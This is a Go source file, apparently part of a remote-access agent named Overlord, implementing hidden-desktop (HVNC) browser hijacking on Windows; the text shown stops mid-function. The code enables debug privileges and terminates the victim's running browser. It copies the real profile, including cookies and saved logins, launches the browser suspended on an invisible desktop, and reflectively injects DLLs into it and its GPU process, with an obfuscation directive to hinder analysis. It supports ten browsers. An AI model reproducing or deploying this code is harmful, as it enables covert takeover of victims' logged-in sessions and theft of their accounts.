Files
overlord/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
T
2026-05-22 20:34:20 -05:00

1407 lines
39 KiB
Go

//go:build windows
package capture
import (
"encoding/binary"
"fmt"
"log"
"os"
"path/filepath"
"strings"
"sync"
"sync/atomic"
"syscall"
"time"
"unsafe"
)
var (
procOpenProcess = kernel32.NewProc("OpenProcess")
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
procCloseHandle = kernel32.NewProc("CloseHandle")
procResumeThread = kernel32.NewProc("ResumeThread")
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
procGetExitCodeProcess = kernel32.NewProc("GetExitCodeProcess")
)
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
type LaunchStatusFunc func(step string, success bool, detail string)
var hvncDXGIStatusCallback atomic.Value
const (
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
INFINITE_WAIT = 0xFFFFFFFF
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_QUERY = 0x0008
SE_PRIVILEGE_ENABLED = 0x00000002
CREATE_SUSPENDED = 0x00000004
CREATE_UNICODE_ENVIRONMENT = 0x00000400
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
)
func describeExitCode(code uint32) string {
switch code {
case 0:
return "normal exit"
case 0xC0000005:
return "access violation (0xC0000005)"
case 0xC0000374:
return "heap corruption (0xC0000374)"
case 0xC0000409:
return "stack buffer overrun (0xC0000409)"
case 0xC000001D:
return "illegal instruction (0xC000001D)"
case 0xC00000FD:
return "stack overflow (0xC00000FD)"
case 0xC0000096:
return "privileged instruction (0xC0000096)"
case 0x40010004:
return "debugger terminated process"
case 0xC000013A:
return "process killed by Ctrl+C"
case 1:
return "general error (exit code 1)"
default:
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
}
}
func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) {
hProc, _, _ := procOpenProcess.Call(
SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION
0, uintptr(pid),
)
if hProc == 0 {
return
}
defer procCloseHandle.Call(hProc)
ret, _, _ := procWaitForSingleObject.Call(hProc, 20000)
if ret != 0 {
notify("healthy", true, fmt.Sprintf("%s (PID %d) still running after 20s", label, pid))
return
}
var exitCode uint32
procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode)))
if exitCode == 0 {
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
} else {
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
}
}
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
func enableDebugPrivilege() {
var hToken uintptr
currentProcess, _, _ := kernel32.NewProc("GetCurrentProcess").Call()
ret, _, _ := procOpenProcessToken.Call(currentProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
if ret == 0 {
return
}
defer procCloseHandle.Call(hToken)
seDebug, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
type luid struct {
LowPart uint32
HighPart int32
}
type luidAndAttributes struct {
Luid luid
Attributes uint32
}
type tokenPrivileges struct {
PrivilegeCount uint32
Privileges luidAndAttributes
}
var tp tokenPrivileges
tp.PrivilegeCount = 1
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED
ret, _, _ = procLookupPrivilegeValueW.Call(0, uintptr(unsafe.Pointer(seDebug)), uintptr(unsafe.Pointer(&tp.Privileges.Luid)))
if ret == 0 {
return
}
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
}
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return 0, fmt.Errorf("empty DLL bytes")
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcessInjected,
filePath: filePath,
dllBytes: dllBytes,
captureDllBytes: captureDllBytes,
searchPath: searchPath,
replacePath: replacePath,
display: display,
}, 30*time.Second)
if err != nil {
return 0, err
}
return result.pid, result.err
}
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus)
}
notify := func(step string, success bool, detail string) {
log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail)
if onLaunchStatus != nil {
onLaunchStatus(step, success, detail)
}
}
info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok {
notify("resolve", false, fmt.Sprintf("unknown browser %q", browser))
return fmt.Errorf("unknown browser %q", browser)
}
if exePath == "" {
exePath = findBrowserExe(info)
if exePath == "" {
notify("resolve", false, fmt.Sprintf("%s executable not found in any search path", info.name))
return fmt.Errorf("%s not found", info.name)
}
}
notify("resolve", true, fmt.Sprintf("using %s", exePath))
if killIfRunning {
processName := info.exeName
if processName == "" {
processName = filepath.Base(exePath)
}
if isProcessRunning(processName) {
notify("kill", true, fmt.Sprintf("killing running %s", processName))
killed := killProcess(processName)
time.Sleep(1500 * time.Millisecond)
if isProcessRunning(processName) {
notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed)))
} else {
notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed))
}
} else {
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
}
}
if !clone {
notify("launch", true, "starting without profile cloning")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
}
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 {
go func() {
defer recoverAndLog("hvnc patch opera", nil)
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil
}
realUserData := getBrowserUserDataDir(info)
if realUserData == "" {
notify("clone", false, fmt.Sprintf("could not determine %s user data directory", info.name))
return fmt.Errorf("could not determine %s user data directory", info.name)
}
notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData))
cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
if err != nil {
notify("clone", false, fmt.Sprintf("profile clone failed: %v", err))
return fmt.Errorf("profile clone failed: %v", err)
}
notify("clone", true, fmt.Sprintf("cloned profile to %s", cloneDir))
if info.isFirefox {
for _, lockFile := range []string{"parent.lock", "lock"} {
filepath.Walk(cloneDir, func(path string, fi os.FileInfo, err error) error {
if err != nil || fi.IsDir() {
return nil
}
if strings.EqualFold(fi.Name(), lockFile) {
os.Remove(path)
log.Printf("hvnc %s: removed lock file %s", info.name, path)
}
return nil
})
}
} else {
for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} {
lp := filepath.Join(cloneDir, lockFile)
if err := os.Remove(lp); err == nil {
log.Printf("hvnc %s: removed lock file %s", info.name, lockFile)
}
}
}
notify("launch", true, "starting with cloned profile")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
}
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
if info.needsPatch && pid != 0 {
go func() {
defer recoverAndLog("hvnc patch opera", nil)
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil
}
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
}
type browserInfo struct {
name string
exeName string
exePaths []string // candidate exe locations (env vars expanded at runtime)
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
isFirefox bool // true for Firefox (different profile structure)
flatProfile bool // true = no Default/Profile subdirs; treat all root dirs as profile content
needsPatch bool // true = apply GetCursorInfo patch after launch (Opera/Opera GX)
}
var browserInfoMap = map[string]browserInfo{
"chrome": {
name: "Chrome",
exeName: "chrome.exe",
exePaths: []string{
`\Google\Chrome\Application\chrome.exe`,
},
userData: `Google\Chrome\User Data`,
},
"brave": {
name: "Brave",
exeName: "brave.exe",
exePaths: []string{
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
},
userData: `BraveSoftware\Brave-Browser\User Data`,
},
"edge": {
name: "Edge",
exeName: "msedge.exe",
exePaths: []string{
`\Microsoft\Edge\Application\msedge.exe`,
},
userData: `Microsoft\Edge\User Data`,
},
"firefox": {
name: "Firefox",
exeName: "firefox.exe",
exePaths: []string{
`\Mozilla Firefox\firefox.exe`,
},
userData: `Mozilla\Firefox`,
useAppData: true,
isFirefox: true,
},
"opera": {
name: "Opera",
exeName: "opera.exe",
exePaths: []string{
`\Programs\Opera\opera.exe`,
},
userData: `Opera Software\Opera Stable`,
useAppData: true,
flatProfile: true,
needsPatch: true,
},
"operagx": {
name: "Opera GX",
exeName: "opera.exe",
exePaths: []string{
`\Programs\Opera GX\opera.exe`,
},
userData: `Opera Software\Opera GX Stable`,
useAppData: true,
flatProfile: true,
needsPatch: true,
},
"vivaldi": {
name: "Vivaldi",
exeName: "vivaldi.exe",
exePaths: []string{
`\Vivaldi\Application\vivaldi.exe`,
},
userData: `Vivaldi\User Data`,
},
"yandex": {
name: "Yandex",
exeName: "browser.exe",
exePaths: []string{
`\Yandex\YandexBrowser\Application\browser.exe`,
},
userData: `Yandex\YandexBrowser\User Data`,
},
"waterfox": {
name: "Waterfox",
exeName: "waterfox.exe",
exePaths: []string{
`\Waterfox\waterfox.exe`,
},
userData: `Waterfox`,
useAppData: true,
isFirefox: true,
},
"arc": {
name: "Arc",
exeName: "Arc.exe",
exePaths: []string{
`\Arc\Application\Arc.exe`,
},
userData: `Arc\User Data`,
},
}
func CheckInstalledBrowsers() map[string]bool {
result := make(map[string]bool, len(browserInfoMap))
for key, info := range browserInfoMap {
result[key] = findBrowserExe(info) != ""
}
return result
}
func findBrowserExe(info browserInfo) string {
roots := []string{
os.Getenv("ProgramFiles"),
os.Getenv("ProgramFiles(x86)"),
os.Getenv("LOCALAPPDATA"),
}
for _, root := range roots {
if root == "" {
continue
}
for _, suffix := range info.exePaths {
p := root + suffix
if _, err := os.Stat(p); err == nil {
return p
}
}
}
return ""
}
func isProcessRunning(name string) bool {
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
if snapshot == uintptr(^uintptr(0)) {
return false
}
defer procCloseHandle.Call(snapshot)
type processEntry32 struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [260]uint16
}
var entry processEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return false
}
target := strings.ToLower(name)
for {
exeName := syscall.UTF16ToString(entry.ExeFile[:])
if strings.ToLower(exeName) == target {
return true
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return false
}
func killProcess(name string) []uint32 {
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
if snapshot == uintptr(^uintptr(0)) {
return nil
}
defer procCloseHandle.Call(snapshot)
type processEntry32 struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [260]uint16
}
var killed []uint32
var entry processEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return nil
}
target := strings.ToLower(name)
for {
exeName := syscall.UTF16ToString(entry.ExeFile[:])
if strings.ToLower(exeName) == target {
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
if hProc != 0 {
r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0)
procCloseHandle.Call(hProc)
if r != 0 {
killed = append(killed, entry.ProcessID)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
} else {
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
}
}
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return killed
}
func getBrowserUserDataDir(info browserInfo) string {
base := os.Getenv("LOCALAPPDATA")
if info.useAppData {
base = os.Getenv("APPDATA")
}
if base == "" {
return ""
}
dir := filepath.Join(base, info.userData)
if fi, err := os.Stat(dir); err == nil && fi.IsDir() {
return dir
}
return ""
}
// isFirefoxProfile checks if a directory name matches Firefox profile naming convention.
// Firefox profiles have names like "xxxxx.default-release", "xxxxx.default-esr", etc.
func isFirefoxProfile(name string) bool {
lower := strings.ToLower(name)
return strings.Contains(lower, ".default-release") ||
strings.Contains(lower, ".default-esr") ||
strings.Contains(lower, ".default")
}
// cloneBrowserProfile clones the browser user data directory, skipping only
// large cache directories that aren't needed for a functional session.
// This preserves extensions, cookies, login data, local storage, etc.
func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) {
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
// Remove any previous cloned profile directories so we always use fresh data
tmpDir := os.TempDir()
if old, err := os.ReadDir(tmpDir); err == nil {
for _, e := range old {
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
p := filepath.Join(tmpDir, e.Name())
log.Printf("hvnc %s: removing old clone %s", browserName, p)
os.RemoveAll(p)
}
}
}
cloneBase := filepath.Join(tmpDir, prefix+fmt.Sprintf("%d", time.Now().UnixNano()))
if err := os.MkdirAll(cloneBase, 0700); err != nil {
return "", fmt.Errorf("mkdir clone: %v", err)
}
// Directories to skip — these are large caches that aren't needed
skipDirs := map[string]bool{
"cache": true,
"code cache": true,
"gpucache": true,
"service worker": true,
"crashpad": true,
"blob_storage": true,
"jumplisterrors": true,
"optimization_guide_prediction_model_downloads": true,
"segmentation_platform": true,
"commerce_local_db": true,
}
if lite {
log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName)
liteSkip := []string{
"extensions",
"extension state",
"extension scripts",
"extension rules",
"local extension settings",
"sync extension settings",
"indexeddb",
"file system",
"session storage",
"sessions",
"sync data",
"web applications",
"webrtc internals",
"databases",
"platform notifications",
"gcm store",
"storage",
"feature_engagement_tracker",
}
for _, d := range liteSkip {
skipDirs[d] = true
}
}
entries, err := os.ReadDir(srcUserData)
if err != nil {
return "", fmt.Errorf("read user data dir: %v", err)
}
// Calculate total size for progress reporting
var totalBytes int64
if onProgress != nil {
onProgress(0, 0, 0, "scanning")
totalBytes = calcCloneSize(srcUserData, skipDirs)
onProgress(0, 0, totalBytes, "cloning")
}
type copyJob struct {
src string
dst string
}
var jobs []copyJob
collectFile := func(src, dst string) {
jobs = append(jobs, copyJob{src: src, dst: dst})
}
// Get browser info to check profile structure
isFirefox := false
flatProfile := false
for _, bi := range browserInfoMap {
if strings.EqualFold(bi.name, browserName) {
isFirefox = bi.isFirefox
flatProfile = bi.flatProfile
break
}
}
for _, entry := range entries {
name := entry.Name()
src := filepath.Join(srcUserData, name)
dst := filepath.Join(cloneBase, name)
if entry.IsDir() {
if flatProfile {
collectProfileDir(src, dst, skipDirs, collectFile)
} else {
// Check if this is a profile directory
isProfile := false
if isFirefox {
// Firefox profiles have names like "xxxxx.default-release"
isProfile = isFirefoxProfile(name)
} else {
// Chrome-based browsers use "Default" or "Profile X"
isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
}
if isProfile {
collectProfileDir(src, dst, skipDirs, collectFile)
} else if !skipDirs[strings.ToLower(name)] {
collectDirFiles(src, dst, collectFile)
}
}
} else {
collectFile(src, dst)
}
}
log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
dirs := make(map[string]struct{})
for _, j := range jobs {
dirs[filepath.Dir(j.dst)] = struct{}{}
}
for d := range dirs {
os.MkdirAll(d, 0700)
}
const numWorkers = 8
jobCh := make(chan copyJob, 256)
var wg sync.WaitGroup
var copiedBytes atomic.Int64
var lastPercent atomic.Int32
lastPercent.Store(-1)
reportProgress := func(n int64) {
if onProgress == nil || totalBytes <= 0 || n <= 0 {
return
}
cur := copiedBytes.Add(n)
pct := int32(cur * 100 / totalBytes)
if pct > 100 {
pct = 100
}
prev := lastPercent.Load()
if pct > prev && lastPercent.CompareAndSwap(prev, pct) {
onProgress(int(pct), cur, totalBytes, "cloning")
}
}
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[panic] hvnc file copy worker: %v", r)
}
}()
for job := range jobCh {
n, err := forceCopyFile(job.src, job.dst)
if err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
} else {
reportProgress(n)
}
}
}()
}
for _, job := range jobs {
jobCh <- job
}
close(jobCh)
wg.Wait()
if onProgress != nil {
onProgress(100, totalBytes, totalBytes, "done")
}
return cloneBase, nil
}
func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(string, string)) {
entries, err := os.ReadDir(src)
if err != nil {
return
}
for _, entry := range entries {
name := entry.Name()
s := filepath.Join(src, name)
d := filepath.Join(dst, name)
if entry.IsDir() {
if skipDirs[strings.ToLower(name)] {
continue
}
collectDirFiles(s, d, collect)
} else {
collect(s, d)
}
}
}
func collectDirFiles(src, dst string, collect func(string, string)) {
filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
rel, _ := filepath.Rel(src, path)
collect(path, filepath.Join(dst, rel))
return nil
})
}
// calcCloneSize walks the source user data directory and returns the total
// byte count of files that would be copied (respecting skipDirs).
func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
var total int64
entries, err := os.ReadDir(srcUserData)
if err != nil {
return 0
}
isFirefox := false
if strings.Contains(strings.ToLower(srcUserData), "mozilla\\firefox") ||
strings.Contains(strings.ToLower(srcUserData), "mozilla/firefox") {
isFirefox = true
}
for _, entry := range entries {
name := entry.Name()
p := filepath.Join(srcUserData, name)
if entry.IsDir() {
isProfile := false
if isFirefox {
isProfile = isFirefoxProfile(name)
} else {
isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
}
if isProfile {
total += calcProfileSize(p, skipDirs)
} else if !skipDirs[strings.ToLower(name)] {
total += calcDirSize(p)
}
} else {
if info, err := entry.Info(); err == nil {
total += info.Size()
}
}
}
return total
}
func calcProfileSize(dir string, skipDirs map[string]bool) int64 {
var total int64
entries, err := os.ReadDir(dir)
if err != nil {
return 0
}
for _, entry := range entries {
name := entry.Name()
p := filepath.Join(dir, name)
if entry.IsDir() {
if !skipDirs[strings.ToLower(name)] {
total += calcDirSize(p)
}
} else {
if info, err := entry.Info(); err == nil {
total += info.Size()
}
}
}
return total
}
func calcDirSize(dir string) int64 {
var total int64
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
if !info.IsDir() {
total += info.Size()
}
return nil
})
return total
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return 0, fmt.Errorf("empty DLL bytes")
}
// Create a page-file-backed named section containing the raw DLL bytes.
// Child processes will open this section to reflectively inject themselves.
shmHandle, shmName, err := createDLLSharedMemory(dllBytes)
if err != nil {
return 0, fmt.Errorf("failed to create DLL shared memory: %v", err)
}
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
enableDebugPrivilege()
// Create the process suspended on the HVNC desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
if err != nil {
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("failed to create suspended process: %v", err)
}
log.Printf("hvnc inject: created suspended process PID %d", pid)
// Inject the reflective DLL
if err := reflectiveInject(hProcess, dllBytes); err != nil {
procCloseHandle.Call(hProcess)
procCloseHandle.Call(hThread)
terminateProcess(hProcess)
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("DLL injection failed: %v", err)
}
log.Printf("hvnc inject: DLL injected into PID %d", pid)
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
// loader thread). The DLL opened the shared section, so we can release
// our handle now.
procCloseHandle.Call(shmHandle)
procCloseHandle.Call(hProcess)
// Resume the main thread
ret, _, _ := procResumeThread.Call(hThread)
if ret == 0xFFFFFFFF {
procCloseHandle.Call(hThread)
return 0, fmt.Errorf("failed to resume thread")
}
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
if len(captureDllBytes) > 0 {
if !hvncDXGIEnabled.Load() {
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
} else {
go func() {
defer recoverAndLog("hvnc deferred gpu inject", nil)
hvncDeferredGPUInject(pid, captureDllBytes)
}()
}
}
return pid, nil
}
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
time.Sleep(4 * time.Second)
for attempt := 0; attempt < 15; attempt++ {
gpuPID, err := findGPUChildProcess(browserPID)
if err != nil {
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
time.Sleep(2 * time.Second)
continue
}
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
if hProcess == 0 {
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
return
}
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
procCloseHandle.Call(hProcess)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
}
return
}
procCloseHandle.Call(hProcess)
log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
hvncRegisterInjectedPID(gpuPID)
hvncRegisterGPUPID(browserPID, gpuPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
}
return
}
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, 0, "DXGI injection failed: GPU process not found")
}
}
func findGPUChildProcess(parentPID uint32) (uint32, error) {
children := findChildPIDs(parentPID)
if len(children) == 0 {
return 0, fmt.Errorf("no child processes")
}
for _, childPID := range children {
if hasLoadedModule(childPID, "d3d11.dll") {
return childPID, nil
}
}
return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children))
}
type processEntry32W struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [260]uint16
}
type moduleEntry32W struct {
Size uint32
ModuleID uint32
ProcessID uint32
GlblcntUsage uint32
ProccntUsage uint32
ModBaseAddr uintptr
ModBaseSize uint32
HModule uintptr
SzModule [256]uint16
SzExePath [260]uint16
}
var (
procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
procProcess32FirstW = kernel32.NewProc("Process32FirstW")
procProcess32NextW = kernel32.NewProc("Process32NextW")
procModule32FirstW = kernel32.NewProc("Module32FirstW")
procModule32NextW = kernel32.NewProc("Module32NextW")
)
const (
TH32CS_SNAPPROCESS = 0x00000002
TH32CS_SNAPMODULE = 0x00000008
TH32CS_SNAPMODULE32 = 0x00000010
)
func findChildPIDs(parentPID uint32) []uint32 {
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0)
if snap == 0 || snap == ^uintptr(0) {
return nil
}
defer procCloseHandle.Call(snap)
var entry processEntry32W
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return nil
}
var children []uint32
for {
if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID {
children = append(children, entry.ProcessID)
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return children
}
func hasLoadedModule(pid uint32, moduleName string) bool {
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid))
if snap == 0 || snap == ^uintptr(0) {
return false
}
defer procCloseHandle.Call(snap)
var entry moduleEntry32W
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return false
}
target := strings.ToLower(moduleName)
for {
name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:]))
if name == target {
return true
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return false
}
func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
}
// createDLLSharedMemory creates a named page-file-backed section containing
// the raw DLL bytes. Returns the mapping handle and section name.
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, "", err
}
size := len(dllBytes)
handle, _, callErr := procCreateFileMappingW.Call(
^uintptr(0), // INVALID_HANDLE_VALUE
0, // default security
0x04, // PAGE_READWRITE
0, // high-order size
uintptr(size),
uintptr(unsafe.Pointer(namePtr)),
)
if handle == 0 {
return 0, "", fmt.Errorf("CreateFileMappingW: %v", callErr)
}
view, _, callErr := procMapViewOfFile.Call(
handle,
0x2, // FILE_MAP_WRITE
0, 0,
uintptr(size),
)
if view == 0 {
procCloseHandle.Call(handle)
return 0, "", fmt.Errorf("MapViewOfFile: %v", callErr)
}
copy(unsafe.Slice((*byte)(unsafe.Pointer(view)), size), dllBytes)
procUnmapViewOfFile.Call(view)
return handle, name, nil
}
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
posX, posY := 0, 0
if mons := monitorList(); display >= 0 && display < len(mons) {
posX = mons[display].rect.Min.X
posY = mons[display].rect.Min.Y
}
args := fmt.Sprintf(" --window-position=%d,%d", posX, posY)
chromiumExes := map[string]bool{
"chrome.exe": true,
"brave.exe": true,
"msedge.exe": true,
"opera.exe": true,
"vivaldi.exe": true,
"browser.exe": true,
"arc.exe": true,
}
baseName := strings.ToLower(filepath.Base(filePath))
